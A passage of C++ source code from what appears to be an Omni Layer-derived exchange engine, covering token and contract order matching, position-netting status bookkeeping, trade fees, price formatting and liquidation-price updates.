"ShortPosNettedPartly"; lives_taker2 = lives_taker1 - lives_maker2; nCouldBuy2 = lives_maker2; } else if ( Status_taker == "ShortPosNetted" ) { Status_s1 = "LongPosNetted"; lives_maker1 = 0; Status_b1 = "ShortPosNettedPartly"; lives_taker1 = negative_buy - possitive_sell; nCouldBuy1 = possitive_sell; Status_s2 = "OpenShortPosition"; lives_maker2 = nCouldBuy - possitive_sell; Status_b2 = "ShortPosNetted"; lives_taker2 = 0; nCouldBuy2 = lives_maker2; } else if ( Status_taker == "OpenLongPosition" ) { Status_s1 = "LongPosNetted"; lives_maker1 = 0; Status_b1 = "OpenLongPosition"; lives_taker1 = possitive_sell; nCouldBuy1 = possitive_sell; Status_s2 = "OpenShortPosition"; lives_maker2 = nCouldBuy - possitive_sell; Status_b2 = "LongPosIncreased"; lives_taker2 = lives_taker1 + lives_maker2; nCouldBuy2 = lives_maker2; } else if ( Status_taker == "LongPosIncreased" ) { Status_s1 = "LongPosNetted"; lives_maker1 = 0; Status_b1 = "LongPosIncreased"; lives_taker1 = possitive_buy + possitive_sell; nCouldBuy1 = possitive_sell; Status_s2 = "OpenShortPosition"; lives_maker2 = nCouldBuy - possitive_sell; Status_b2 = "LongPosIncreased"; lives_taker2 = lives_taker1 + lives_maker2; nCouldBuy2 = lives_maker2; } } // Checked } else { // If maker Buy and Open Long by Short Netted: status_bj -> makers if ( Status_maker == "OpenLongPosByShortPosNetted" ) { if ( Status_taker == "OpenShortPosByLongPosNetted" ) { if ( negative_buy < possitive_sell ) { Status_b1 = "ShortPosNetted"; lives_maker1 = 0; Status_s1 = "LongPosNettedPartly"; lives_taker1 = possitive_sell - negative_buy; nCouldBuy1 = negative_buy; Status_b2 = "OpenLongPosition"; lives_maker2 = lives_taker1; Status_s2 = "LongPosNetted"; lives_taker2 = 0; nCouldBuy2 = lives_taker1; Status_b3 = "LongPosIncreased"; lives_maker3 = lives_maker2 + nCouldBuy - possitive_sell; Status_s3 = "OpenShortPosition"; lives_taker3 = nCouldBuy - possitive_sell; nCouldBuy3 = lives_taker3; } else if ( negative_buy > possitive_sell ) { Status_b1 = "ShortPosNettedPartly"; lives_maker1 = negative_buy - possitive_sell; Status_s1 = "LongPosNetted"; lives_taker1 = 0; nCouldBuy1 = lives_maker1; Status_b2 = "ShortPosNetted"; lives_maker2 = 0; Status_s2 = "OpenShortPosition"; lives_taker2 = lives_maker1; nCouldBuy2 = lives_maker1; Status_b3 = "OpenLongPosition"; lives_maker3 = nCouldBuy - negative_buy; Status_s3 = "ShortPosIncreased"; lives_taker3 = lives_taker2 + lives_maker3; nCouldBuy3 = lives_maker3; } else if ( negative_buy == possitive_sell ) { Status_b1 = "ShortPosNetted"; lives_maker1 = 0; Status_s1 = "LongPosNetted"; lives_taker1 = 0; nCouldBuy1 = possitive_sell; Status_b2 = "OpenLongPosition"; lives_maker2 = nCouldBuy - possitive_sell; Status_s2 = "OpenShortPosition"; lives_taker2 = lives_maker2; nCouldBuy2 = lives_maker2; } } else if ( Status_taker == "LongPosNettedPartly" ) { Status_b1 = "ShortPosNetted"; lives_maker1 = 0; Status_s1 = "LongPosNettedPartly"; lives_taker1 = possitive_sell - negative_buy; nCouldBuy1 = negative_buy; Status_b2 = "OpenLongPosition"; lives_maker2 = nCouldBuy - negative_buy; Status_s2 = "LongPosNettedPartly"; lives_taker2 = lives_taker1 - lives_maker2; nCouldBuy2 = lives_maker2; } else if ( Status_taker == "LongPosNetted" ) { Status_b1 = "ShortPosNetted"; lives_maker1 = 0; Status_s1 = "LongPosNettedPartly"; lives_taker1 = possitive_sell - negative_buy; nCouldBuy1 = negative_buy; Status_b2 = "OpenLongPosition"; lives_maker2 = nCouldBuy - negative_buy; Status_s2 = "LongPosNetted"; lives_taker2 = 0; nCouldBuy2 = lives_maker2; } else if ( Status_taker == "OpenShortPosition" ) { Status_b1 = "ShortPosNetted"; lives_maker1 = 0; Status_s1 = "OpenShortPosition"; lives_taker1 = negative_buy; nCouldBuy1 = negative_buy; Status_b2 = "OpenLongPosition"; lives_maker2 = nCouldBuy - negative_buy; Status_s2 = "ShortPosIncreased"; lives_taker2 = lives_taker1 + lives_maker2; nCouldBuy2 = lives_maker2; } else if ( Status_taker == "ShortPosIncreased" ) { Status_b1 = "ShortPosNetted"; lives_maker1 = 0; Status_s1 = "ShortPosIncreased"; lives_taker1 = negative_sell + negative_buy; nCouldBuy1 = negative_buy; Status_b2 = "OpenLongPosition"; lives_maker2 = nCouldBuy - negative_buy; Status_s2 = "ShortPosIncreased"; lives_taker2 = lives_taker1 + lives_maker2; nCouldBuy2 = lives_maker2; } } // Checked } /********************************************************/ if ( pold->getTradingAction() == BUY ) { // If taker Sell and Open Short by Long Netted: status_sj -> taker if ( Status_taker == "OpenShortPosByLongPosNetted" ) { if ( Status_maker == "OpenLongPosByShortPosNetted" ) { if ( possitive_sell > negative_buy ) { Status_s1 = "LongPosNettedPartly"; lives_taker1 = possitive_sell - negative_buy; Status_b1 = "ShortPosNetted"; lives_maker1 = 0; nCouldBuy1 = negative_buy; Status_s2 = "LongPosNetted"; lives_taker2 = 0; Status_b2 = "OpenLongPosition"; lives_maker2 = lives_taker1; nCouldBuy2 = lives_taker1; Status_s3 = "OpenShortPosition"; lives_taker3 = nCouldBuy - possitive_sell; Status_b3 = "LongPosIncreased"; lives_maker3 = lives_maker2 + lives_taker3; nCouldBuy3 = lives_taker3; } else if ( possitive_sell < negative_buy ) { Status_s1 = "LongPosNetted"; lives_taker1 = 0; Status_b1 = "ShortPosNettedPartly"; lives_maker1 = negative_buy - possitive_sell ; nCouldBuy1 = possitive_sell; Status_s2 = "OpenShortPosition"; lives_taker2 = lives_maker1; Status_b2 = "ShortPosNetted"; lives_maker2 = 0; nCouldBuy2 = lives_taker2; Status_b3 = "OpenLongPosition"; lives_maker3 = nCouldBuy - negative_buy; Status_s3 = "ShortPosIncreased"; lives_taker3 = lives_taker2 + lives_maker3; nCouldBuy3 = lives_maker3; } else if ( possitive_sell == negative_buy ) { Status_s1 = "LongPosNetted"; lives_taker1 = 0; Status_b1 = "ShortPosNetted"; lives_maker1 = 0; nCouldBuy1 = possitive_sell; Status_s2 = "OpenShortPosition"; lives_taker2 = nCouldBuy - possitive_sell; Status_b2 = "OpenLongPosition"; lives_maker2 = lives_taker2; nCouldBuy2 = lives_taker2; } } else if ( Status_maker == "ShortPosNettedPartly" ) { Status_s1 = "LongPosNetted"; lives_taker1 = 0; Status_b1 = "ShortPosNettedPartly"; lives_maker1 = negative_buy - possitive_sell; nCouldBuy1 = possitive_sell; Status_s2 = "OpenShortPosition"; lives_taker2 = nCouldBuy - possitive_sell; Status_b2 = "ShortPosNettedPartly"; lives_maker2 = lives_maker1 - lives_taker2; nCouldBuy2 = lives_taker2; } else if ( Status_maker == "ShortPosNetted" ) { Status_s1 = "LongPosNetted"; lives_taker1 = 0; Status_b1 = "ShortPosNettedPartly"; lives_maker1 = negative_buy - possitive_sell; nCouldBuy1 = possitive_sell; Status_s2 = "OpenShortPosition"; lives_taker2 = nCouldBuy - possitive_sell; Status_b2 = "ShortPosNetted"; lives_maker2 = 0; nCouldBuy2 = lives_taker2; } else if ( Status_maker == "OpenLongPosition" ) { Status_s1 = "LongPosNetted"; lives_taker1 = 0; Status_b1 = "OpenLongPosition"; lives_maker1 = possitive_sell; nCouldBuy1 = possitive_sell; Status_s2 = "OpenShortPosition"; lives_taker2 = nCouldBuy - possitive_sell; Status_b2 = "LongPosIncreased"; lives_maker2 = lives_maker1 + lives_taker2; nCouldBuy2 = lives_taker2; } else if ( Status_maker == "LongPosIncreased" ) { Status_s1 = "LongPosNetted"; lives_taker1 = 0; Status_b1 = "LongPosIncreased"; lives_maker1 = possitive_buy + possitive_sell; nCouldBuy1 = possitive_sell; Status_s2 = "OpenShortPosition"; lives_taker2 = nCouldBuy - possitive_sell; Status_b2 = "LongPosIncreased"; lives_maker2 = lives_maker1 + lives_taker2; nCouldBuy2 = lives_taker2; } } // Checked } else { // If taker Buy and Open Long by Short Netted: status_bj -> taker if ( Status_taker == "OpenLongPosByShortPosNetted" ) { if ( Status_maker == "OpenShortPosByLongPosNetted" ) { if ( negative_buy < possitive_sell ) { Status_b1 = "ShortPosNetted"; lives_taker1 = 0; Status_s1 = "LongPosNettedPartly"; lives_maker1 = possitive_sell - negative_buy; nCouldBuy1 = negative_buy; Status_b2 = "OpenLongPosition"; lives_taker2 = lives_maker1; Status_s2 = "LongPosNetted"; lives_maker2 = 0; nCouldBuy2 = lives_maker1; Status_b3 = "LongPosIncreased"; lives_taker3 = lives_taker2 + nCouldBuy - possitive_sell; Status_s3 = "OpenShortPosition"; lives_maker3 = nCouldBuy - possitive_sell; nCouldBuy3 = lives_maker3; } else if ( negative_buy > possitive_sell ) { Status_b1 = "ShortPosNettedPartly"; lives_taker1 = negative_buy - possitive_sell; Status_s1 = "LongPosNetted"; lives_maker1 = 0; nCouldBuy1 = lives_taker1; Status_b2 = "ShortPosNetted"; lives_taker2 = 0; Status_s2 = "OpenShortPosition"; lives_maker2 = negative_buy - possitive_sell; nCouldBuy2 = negative_buy - possitive_sell; Status_b3 = "OpenLongPosition"; lives_taker3 = nCouldBuy - negative_buy; Status_s3 = "ShortPosIncreased"; lives_maker3 = lives_maker2 + lives_taker3; nCouldBuy3 = lives_taker3; } else if ( negative_buy == possitive_sell ) { Status_b1 = "ShortPosNetted"; lives_taker1 = 0; Status_s1 = "LongPosNetted"; lives_maker1 = 0; nCouldBuy1 = possitive_sell; Status_b2 = "OpenLongPosition"; lives_taker2 = nCouldBuy - possitive_sell; Status_s2 = "OpenShortPosition"; lives_maker2 = lives_taker2; nCouldBuy2 = lives_taker2; } } else if ( Status_maker == "LongPosNettedPartly" ) { Status_b1 = "ShortPosNetted"; lives_taker1 = 0; Status_s1 = "LongPosNettedPartly"; lives_maker1 = possitive_sell - negative_buy; nCouldBuy1 = negative_buy; Status_b2 = "OpenLongPosition"; lives_taker2 = nCouldBuy - negative_buy; Status_s2 = "LongPosNettedPartly"; lives_maker2 = lives_maker1 - lives_taker2; nCouldBuy2 = lives_taker2; } else if ( Status_maker == "LongPosNetted" ) { Status_b1 = "ShortPosNetted"; lives_taker1 = 0; Status_s1 = "LongPosNettedPartly"; lives_maker1 = possitive_sell - negative_buy; nCouldBuy1 = negative_buy; Status_b2 = "OpenLongPosition"; lives_taker2 = nCouldBuy - negative_buy; Status_s2 = "LongPosNetted"; lives_maker2 = 0; nCouldBuy2 = lives_taker2; } else if ( Status_maker == "OpenShortPosition" ) { Status_b1 = "ShortPosNetted"; lives_taker1 = 0; Status_s1 = "OpenShortPosition"; lives_maker1 = negative_buy; nCouldBuy1 = negative_buy; Status_b2 = "OpenLongPosition"; lives_taker2 = nCouldBuy - negative_buy; Status_s2 = "ShortPosIncreased"; lives_maker2 = lives_maker1 + lives_taker2; nCouldBuy2 = lives_taker2; } else if ( Status_maker == "ShortPosIncreased" ) { Status_b1 = "ShortPosNetted"; lives_taker1 = 0; Status_s1 = "ShortPosIncreased"; lives_maker1 = negative_sell + negative_buy; nCouldBuy1 = negative_buy; Status_b2 = "OpenLongPosition"; lives_taker2 = nCouldBuy - negative_buy; Status_s2 = "ShortPosIncreased"; lives_maker2 = lives_maker1 + lives_taker2; nCouldBuy2 = lives_taker2; } } // Checked } /********************************************************************/ std::string Status_maker0="EmptyStr", Status_maker1="EmptyStr", Status_maker2="EmptyStr", Status_maker3="EmptyStr"; std::string Status_taker0="EmptyStr", Status_taker1="EmptyStr", Status_taker2="EmptyStr", Status_taker3="EmptyStr"; std::vector<std::string> v_status; std::vector<int64_t> v_livesc; std::vector<int64_t> v_ncouldbuy; v_ncouldbuy.push_back(nCouldBuy0); v_ncouldbuy.push_back(nCouldBuy1); v_ncouldbuy.push_back(nCouldBuy2); v_ncouldbuy.push_back(nCouldBuy3); v_livesc.push_back(lives_maker0); v_livesc.push_back(lives_taker0); v_livesc.push_back(lives_maker1); v_livesc.push_back(lives_taker1); v_livesc.push_back(lives_maker2); v_livesc.push_back(lives_taker2); v_livesc.push_back(lives_maker3); v_livesc.push_back(lives_taker3); if ( pold->getAddr() == seller_address ) { v_status.push_back(Status_s); v_status.push_back(Status_b); v_status.push_back(Status_s1); v_status.push_back(Status_b1); v_status.push_back(Status_s2); v_status.push_back(Status_b2); v_status.push_back(Status_s3); v_status.push_back(Status_b3); } else { v_status.push_back(Status_b); v_status.push_back(Status_s); v_status.push_back(Status_b1); v_status.push_back(Status_s1); v_status.push_back(Status_b2); v_status.push_back(Status_s2); v_status.push_back(Status_b3); v_status.push_back(Status_s3); } Status_maker0 = Status_maker; Status_taker0 = Status_taker; if ( pold->getAddr() == seller_address ) { Status_maker1 = Status_s1; Status_taker1 = Status_b1; Status_maker2 = Status_s2; Status_taker2 = Status_b2; Status_maker3 = Status_s3; Status_taker3 = Status_b3; } else { Status_maker1 = Status_b1; Status_taker1 = Status_s1; Status_maker2 = Status_b2; Status_taker2 = Status_s2; Status_maker3 = Status_b3; Status_taker3 = Status_s3; } /********************************************************/ t_tradelistdb->recordMatchedTrade(pold->getHash(), pnew->getHash(), pold->getAddr(), pnew->getAddr(), pold->getEffectivePrice(), contract_replacement.getAmountForSale(), pnew->getAmountForSale(), pold->getBlock(), pnew->getBlock(), property_traded, tradeStatus, lives_maker0, lives_maker1, lives_maker2, lives_maker3, lives_taker0, lives_taker1, lives_taker2, lives_taker3, Status_maker0, Status_taker0, Status_maker1, Status_taker1, Status_maker2, Status_taker2, Status_maker3, Status_taker3, nCouldBuy0, nCouldBuy1, nCouldBuy2, nCouldBuy3); /********************************************************/ int index = static_cast<unsigned int>(property_traded); marketP[index] = pold->getEffectivePrice(); uint64_t marketPriceNow = marketP[index]; PrintToLog("\nmarketPrice Now : %d, marketP[index] = %d\n", marketPriceNow, marketP[index]); t_tradelistdb->recordForUPNL(pnew->getHash(),pnew->getAddr(),property_traded,pold->getEffectivePrice()); // if (msc_debug_metadex1) PrintToLog("++ erased old: %s\n", offerIt->ToString()); pofferSet->erase(offerIt++); if (0 < remaining) pofferSet->insert(contract_replacement); } } static const std::string getTradeReturnType(MatchReturnType ret) { switch (ret) { case NOTHING: return "NOTHING"; case TRADED: return "TRADED"; case TRADED_MOREINSELLER: return "TRADED_MOREINSELLER"; case TRADED_MOREINBUYER: return "TRADED_MOREINBUYER"; case ADDED: return "ADDED"; case CANCELLED: return "CANCELLED"; default: return "* unknown *"; } } // Used by rangeInt64, xToInt64 static bool rangeInt64(const int128_t& value) { return (std::numeric_limits<int64_t>::min() <= value && value <= std::numeric_limits<int64_t>::max()); } // Used by xToString static bool rangeInt64(const rational_t& value) { return (rangeInt64(value.numerator()) && rangeInt64(value.denominator())); } // Used by CMPMetaDEx::displayUnitPrice static int64_t xToRoundUpInt64(const rational_t& value) { // for integer rounding up: ceil(num / denom) => 1 + (num - 1) / denom int128_t result = int128_t(1) + (value.numerator() - int128_t(1)) / value.denominator(); assert(rangeInt64(result)); return result.convert_to<int64_t>(); } std::string xToString(const dec_float& value) { return value.str(DISPLAY_PRECISION_LEN, std::ios_base::fixed); } std::string xToString(const int128_t& value) { return strprintf("%s", boost::lexical_cast<std::string>(value)); } std::string xToString(const rational_t& value) { if (rangeInt64(value)) { int64_t num = value.numerator().convert_to<int64_t>(); int64_t denom = value.denominator().convert_to<int64_t>(); dec_float x = dec_float(num) / dec_float(denom); return xToString(x); } else return strprintf("%s / %s", xToString(value.numerator()), xToString(value.denominator())); } /********************************************************************/ /** New things for Contracts */ std::string xToString(const uint64_t &price) { return strprintf("%s", boost::lexical_cast<std::string>(price)); } std::string xToString(const int64_t &price) { return strprintf("%s", boost::lexical_cast<std::string>(price)); } std::string xToString(const uint32_t &value) { return strprintf("%s", boost::lexical_cast<std::string>(value)); } ui128 multiply_int64_t(int64_t &m, int64_t &n) { ui128 product; multiply(product, m, n); return product; } ui128 multiply_uint64_t(uint64_t &m, uint64_t &n) { ui128 product; multiply(product, m, n); return product; } /*The metadex of tokens*/ // find the best match on the market // NOTE: sometimes I refer to the older order as seller & the newer order as buyer, in this trade // INPUT: property, desprop, desprice = of the new order being inserted; the new object being processed // RETURN: MatchReturnType x_Trade(CMPMetaDEx* const pnew) { const uint32_t propertyForSale = pnew->getProperty(); const uint32_t propertyDesired = pnew->getDesProperty(); MatchReturnType NewReturn = NOTHING; bool bBuyerSatisfied = false; // if (msc_debug_metadex1) PrintToLog("%s(%s: prop=%d, desprop=%d, desprice= %s);newo: %s\n", // __FUNCTION__, pnew->getAddr(), propertyForSale, propertyDesired, xToString(pnew->inversePrice()), pnew->ToString()); md_PricesMap* const ppriceMap = get_Prices(propertyDesired); // nothing for the desired property exists in the market, sorry! if (!ppriceMap) { PrintToLog("%s()=%d:%s NOT FOUND ON THE MARKET\n", __FUNCTION__, NewReturn, getTradeReturnType(NewReturn)); return NewReturn; } // within the desired property map (given one property) iterate over the items looking at prices for (md_PricesMap::iterator priceIt = ppriceMap->begin(); priceIt != ppriceMap->end(); ++priceIt) { // check all prices const rational_t sellersPrice = priceIt->first; // if (msc_debug_metadex2) PrintToLog("comparing prices: desprice %s needs to be GREATER THAN OR EQUAL TO %s\n", // xToString(pnew->inversePrice()), xToString(sellersPrice)); // Is the desired price check satisfied? The buyer's inverse price must be larger than that of the seller. if (pnew->inversePrice() < sellersPrice) { continue; } md_Set* const pofferSet = &(priceIt->second); // at good (single) price level and property iterate over offers looking at all parameters to find the match md_Set::iterator offerIt = pofferSet->begin(); while (offerIt != pofferSet->end()) { // specific price, check all properties const CMPMetaDEx* const pold = &(*offerIt); assert(pold->unitPrice() == sellersPrice); // if (msc_debug_metadex1) PrintToLog("Looking at existing: %s (its prop= %d, its des prop= %d) = %s\n", // xToString(sellersPrice), pold->getProperty(), pold->getDesProperty(), pold->ToString()); // does the desired property match? if (pold->getDesProperty() != propertyForSale) { ++offerIt; continue; } // if (msc_debug_metadex1) PrintToLog("MATCH FOUND, Trade: %s = %s\n", xToString(sellersPrice), pold->ToString()); // match found, execute trade now! const int64_t seller_amountForSale = pold->getAmountRemaining(); const int64_t buyer_amountOffered = pnew->getAmountRemaining(); // if (msc_debug_metadex1) PrintToLog("$$ trading using price: %s; seller: forsale=%d, desired=%d, remaining=%d, buyer amount offered=%d\n", // xToString(sellersPrice), pold->getAmountForSale(), pold->getAmountDesired(), pold->getAmountRemaining(), pnew->getAmountRemaining()); // if (msc_debug_metadex1) PrintToLog("$$ old: %s\n", pold->ToString()); // if (msc_debug_metadex1) PrintToLog("$$ new: %s\n", pnew->ToString()); /////////////////////////// // preconditions assert(0 < pold->getAmountRemaining()); assert(0 < pnew->getAmountRemaining()); assert(pnew->getProperty() != pnew->getDesProperty()); assert(pnew->getProperty() == pold->getDesProperty()); assert(pold->getProperty() == pnew->getDesProperty()); assert(pold->unitPrice() <= pnew->inversePrice()); assert(pnew->unitPrice() <= pold->inversePrice()); /////////////////////////// // First determine how many representable (indivisible) tokens Alice can // purchase from Bob, using Bob's unit price // This implies rounding down, since rounding up is impossible, and would // require more tokens than Alice has arith_uint256 iCouldBuy = (ConvertTo256(pnew->getAmountRemaining()) * ConvertTo256(pold->getAmountForSale())) / ConvertTo256(pold->getAmountDesired()); int64_t nCouldBuy = 0; if (iCouldBuy < ConvertTo256(pold->getAmountRemaining())) { nCouldBuy = ConvertTo64(iCouldBuy); } else { nCouldBuy = pold->getAmountRemaining(); } if (nCouldBuy == 0) { // if (msc_debug_metadex1) PrintToLog( // "-- buyer has not enough tokens for sale to purchase one unit!\n"); ++offerIt; continue; } // If the amount Alice would have to pay to buy Bob's tokens at his price // is fractional, always round UP the amount Alice has to pay // This will always be better for Bob. Rounding in the other direction // will always be impossible, because ot would violate Bob's accepted price arith_uint256 iWouldPay = DivideAndRoundUp((ConvertTo256(nCouldBuy) * ConvertTo256(pold->getAmountDesired())), ConvertTo256(pold->getAmountForSale())); int64_t nWouldPay = ConvertTo64(iWouldPay); // If the resulting adjusted unit price is higher than Alice' price, the // orders shall not execute, and no representable fill is made const rational_t xEffectivePrice(nWouldPay, nCouldBuy); if (xEffectivePrice > pnew->inversePrice()) { // if (msc_debug_metadex1) PrintToLog( // "-- effective price is too expensive: %s\n", xToString(xEffectivePrice)); ++offerIt; continue; } const int64_t buyer_amountGot = nCouldBuy; const int64_t seller_amountGot = nWouldPay; const int64_t buyer_amountLeft = pnew->getAmountRemaining() - seller_amountGot; const int64_t seller_amountLeft = pold->getAmountRemaining() - buyer_amountGot; // if (msc_debug_metadex1) PrintToLog("$$ buyer_got= %d, seller_got= %d, seller_left_for_sale= %d, buyer_still_for_sale= %d\n", // buyer_amountGot, seller_amountGot, seller_amountLeft, buyer_amountLeft); /////////////////////////// // postconditions assert(xEffectivePrice >= pold->unitPrice()); assert(xEffectivePrice <= pnew->inversePrice()); assert(0 <= seller_amountLeft); assert(0 <= buyer_amountLeft); assert(seller_amountForSale == seller_amountLeft + buyer_amountGot); assert(buyer_amountOffered == buyer_amountLeft + seller_amountGot); /////////////////////////// int64_t buyer_amountGotAfterFee = buyer_amountGot; int64_t tradingFee = 0; // strip a 0.05% fee from non-OMNI pairs if fees are activated if (IsFeatureActivated(FEATURE_FEES, pnew->getBlock())) { if (pold->getProperty() > OMNI_PROPERTY_TMSC && pold->getDesProperty() > OMNI_PROPERTY_TMSC) { int64_t feeDivider = 2000; // 0.05% tradingFee = buyer_amountGot / feeDivider; // subtract the fee from the amount the seller will receive buyer_amountGotAfterFee = buyer_amountGot - tradingFee; // add the fee to the fee cache TODO: check the fees file // p_feecache->AddFee(pnew->getDesProperty(), pnew->getBlock(), tradingFee); } else { // if (msc_debug_fees) PrintToLog("Skipping fee reduction for trade match %s:%s as one of the properties is Omni\n", pold->getHash().GetHex(), pnew->getHash().GetHex()); } } // transfer the payment property from buyer to seller assert(update_tally_map(pnew->getAddr(), pnew->getProperty(), -seller_amountGot, BALANCE)); assert(update_tally_map(pold->getAddr(), pold->getDesProperty(), seller_amountGot, BALANCE)); // transfer the market (the one being sold) property from seller to buyer assert(update_tally_map(pold->getAddr(), pold->getProperty(), -buyer_amountGot, METADEX_RESERVE)); assert(update_tally_map(pnew->getAddr(), pnew->getDesProperty(), buyer_amountGotAfterFee, BALANCE)); NewReturn = TRADED; CMPMetaDEx seller_replacement = *pold; // < can be moved into last if block seller_replacement.setAmountRemaining(seller_amountLeft, "seller_replacement"); pnew->setAmountRemaining(buyer_amountLeft, "buyer"); if (0 < buyer_amountLeft) { NewReturn = TRADED_MOREINBUYER; } if (0 == buyer_amountLeft) { bBuyerSatisfied = true; } if (0 < seller_amountLeft) { NewReturn = TRADED_MOREINSELLER; } // if (msc_debug_metadex1) PrintToLog("==== TRADED !!! %u=%s\n", NewReturn, getTradeReturnType(NewReturn)); // record the trade in MPTradeList t_tradelistdb->recordMatchedTrade(pold->getHash(), pnew->getHash(), // < might just pass pold, pnew pold->getAddr(), pnew->getAddr(), pold->getDesProperty(), pnew->getDesProperty(), seller_amountGot, buyer_amountGotAfterFee, pnew->getBlock(), tradingFee); // if (msc_debug_metadex1) PrintToLog("++ erased old: %s\n", offerIt->ToString()); // erase the old seller element pofferSet->erase(offerIt++); // insert the updated one in place of the old if (0 < seller_replacement.getAmountRemaining()) { PrintToLog("++ inserting seller_replacement: %s\n", seller_replacement.ToString()); pofferSet->insert(seller_replacement); } if (bBuyerSatisfied) { assert(buyer_amountLeft == 0); break; } } // specific price, check all properties if (bBuyerSatisfied) break; } // check all prices PrintToLog("%s()=%d:%s\n", __FUNCTION__, NewReturn, getTradeReturnType(NewReturn)); return NewReturn; } /////////////////////////////////////// /** New things for Contracts */ MatchReturnType x_Trade(CMPContractDex* const pnew) { const uint32_t propertyForSale = pnew->getProperty(); uint8_t trdAction = pnew->getTradingAction(); PrintToConsole("Trading action of pnew: %d \n",trdAction); MatchReturnType NewReturn = NOTHING; // if (msc_debug_metadex1) // PrintToLog("%s(%s: prop=%d, desprice= %s);newo: %s\n", __FUNCTION__, pnew->getAddr(), propertyForSale, xToString(pnew->getEffectivePrice()), pnew->ToString()); cd_PricesMap* const ppriceMap = get_PricesCd(propertyForSale); if (!ppriceMap) { PrintToLog("%s()=%d:%s NOT FOUND ON THE MARKET\n", __FUNCTION__, NewReturn, getTradeReturnType(NewReturn)); return NewReturn; } LoopBiDirectional(ppriceMap, trdAction, NewReturn, pnew, propertyForSale); return NewReturn; } ///////////////////////////////////// /** New things for contracts */ int get_LiquidationPrice(int64_t effectivePrice, string address, uint32_t property, uint8_t trading_action) { double percentLiqPrice = 0.95; double liqFactor = 0; int64_t longs = getMPbalance(address, property, POSSITIVE_BALANCE); int64_t shorts = getMPbalance(address, property, NEGATIVE_BALANCE); int64_t oldLiqPrice = getMPbalance (address, property,LIQUIDATION_PRICE); PrintToConsole("longs : %d",longs); PrintToConsole("shorts : %d",shorts); if (longs == 0 && shorts == 0 && oldLiqPrice != 0) { PrintToConsole("oldLiqPrice : %d",oldLiqPrice); assert(update_tally_map(address, property, -oldLiqPrice, LIQUIDATION_PRICE)); return -1; } (trading_action == BUY) ? liqFactor = 1 - percentLiqPrice : liqFactor = 1 + percentLiqPrice; double liqPr = static_cast<double> (effectivePrice * liqFactor) ; double aLiqPrice = ( liqPr + static_cast<double>(oldLiqPrice) ) / 2 ; int64_t newLiqPrice = static_cast<int64_t>(aLiqPrice); PrintToConsole ("trading action : %d\n", trading_action); PrintToConsole ("LiqFactor : %d\n", liqFactor); PrintToConsole ("Precio de liquidación antiguo : %d\n", oldLiqPrice); PrintToConsole ("Precio de liquidación actual : %d\n", liqPr); PrintToConsole ("Precio de liquidación Nuevo : %d\n", newLiqPrice); if (oldLiqPrice > 0) { assert(update_tally_map(address, property, -oldLiqPrice, LIQUIDATION_PRICE)); assert(update_tally_map(address, property, newLiqPrice, LIQUIDATION_PRICE)); return 1; } return -1; } //////////////////////////////////////// /** * Used for display of unit prices to 8 decimal places at UI layer. * * Automatically returns unit or inverse price as needed. */ std::string CMPMetaDEx::displayUnitPrice() const { rational_t tmpDisplayPrice; if (getDesProperty() == OMNI_PROPERTY_MSC || getDesProperty() == OMNI_PROPERTY_TMSC) { tmpDisplayPrice = unitPrice(); if (isPropertyDivisible(getProperty())) tmpDisplayPrice = tmpDisplayPrice * COIN; } else { tmpDisplayPrice = inversePrice(); if (isPropertyDivisible(getDesProperty())) tmpDisplayPrice = tmpDisplayPrice * COIN; } // offers with unit prices under 0.00000001 will be excluded from UI layer - TODO: find a better way to identify sub 0.00000001 prices std::string tmpDisplayPriceStr = xToString(tmpDisplayPrice); if (!tmpDisplayPriceStr.empty()) { if (tmpDisplayPriceStr.substr(0,1) == "0") return "0.00000000"; } // we must always round up here - for example if the actual price required is 0.3333333344444 // round: 0.33333333 - price is insufficient and thus won't result in a trade // round: 0.33333334 - price will be sufficient to result in a trade std::string displayValue = FormatDivisibleMP(xToRoundUpInt64(tmpDisplayPrice)); return displayValue; } /** * Used for display of unit prices with 50 decimal places at RPC layer. * * Note: unit price is no longer always shown in OMNI and/or inverted */ std::string CMPMetaDEx::displayFullUnitPrice() const { rational_t tempUnitPrice = unitPrice(); /* Matching types require no action (divisible/divisible or indivisible/indivisible) Non-matching types require adjustment for display purposes divisible/indivisible : *COIN indivisible/divisible : /COIN */ if ( isPropertyDivisible(getProperty()) && !isPropertyDivisible(getDesProperty()) ) tempUnitPrice = tempUnitPrice*COIN; if ( !isPropertyDivisible(getProperty()) && isPropertyDivisible(getDesProperty()) ) tempUnitPrice = tempUnitPrice/COIN; std::string unitPriceStr = xToString(tempUnitPrice); return unitPriceStr; } ////////////////////////////////////// /** New things for Contracts */ std::string CMPContractDex::displayFullContractPrice() const { uint64_t priceForsale = getEffectivePrice(); uint64_t amountForsale = getAmountForSale(); int128_t fullprice; if ( isPropertyContract(getProperty()) ) multiply(fullprice, priceForsale, amountForsale); std::string priceForsaleStr = xToString(fullprice); return priceForsaleStr; } ////////////////////////////////////// rational_t CMPMetaDEx::unitPrice() const { rational_t effectivePrice; if (amount_forsale) effectivePrice = rational_t(amount_desired, amount_forsale); return effectivePrice; } rational_t CMPMetaDEx::inversePrice() const { rational_t inversePrice; if (amount_desired) inversePrice = rational_t(amount_forsale, amount_desired); return inversePrice; } int64_t CMPMetaDEx::getAmountToFill() const { // round up to ensure that the amount we present will actually result in buying all available tokens arith_uint256 iAmountNeededToFill = DivideAndRoundUp((ConvertTo256(amount_remaining) * ConvertTo256(amount_desired)), ConvertTo256(amount_forsale)); int64_t nAmountNeededToFill = ConvertTo64(iAmountNeededToFill); return nAmountNeededToFill; } int64_t CMPMetaDEx::getBlockTime() const { CBlockIndex* pblockindex = chainActive[block]; return pblockindex->GetBlockTime(); } void CMPMetaDEx::setAmountRemaining(int64_t amount, const std::string& label) { amount_remaining = amount; PrintToLog("update remaining amount still up for sale (%ld %s):%s\n", amount, label, ToString()); } /////////////////////////////////////////// void CMPMetaDEx::setAmountForsale(int64_t amount, const std::string& label) { amount_forsale = amount; PrintToLog("update remaining amount still up for sale (%ld %s):%s\n", amount, label, ToString()); } void CMPContractDex::setPrice(int64_t price) { effective_price = price; // PrintToLog("update price still up for sale (%ld):%s\n", price, ToString()); } /////////////////////////////////////////// std::string CMPMetaDEx::ToString() const { return strprintf("%s:%34s in %d/%03u, txid: %s , trade #%u %s for #%u %s", xToString(unitPrice()), addr, block, idx, txid.ToString().substr(0, 10), property, FormatMP(property, amount_forsale), desired_property, FormatMP(desired_property, amount_desired)); } //////////////////////////////////// /** New things for Contract */ std::string CMPContractDex::ToString() const { return strprintf("%s:%34s in %d/%03u, txid: %s , trade #%u %s for #%u %s", xToString(getEffectivePrice()), getAddr(), getBlock(), getIdx(), getHash().ToString().substr(0, 10), 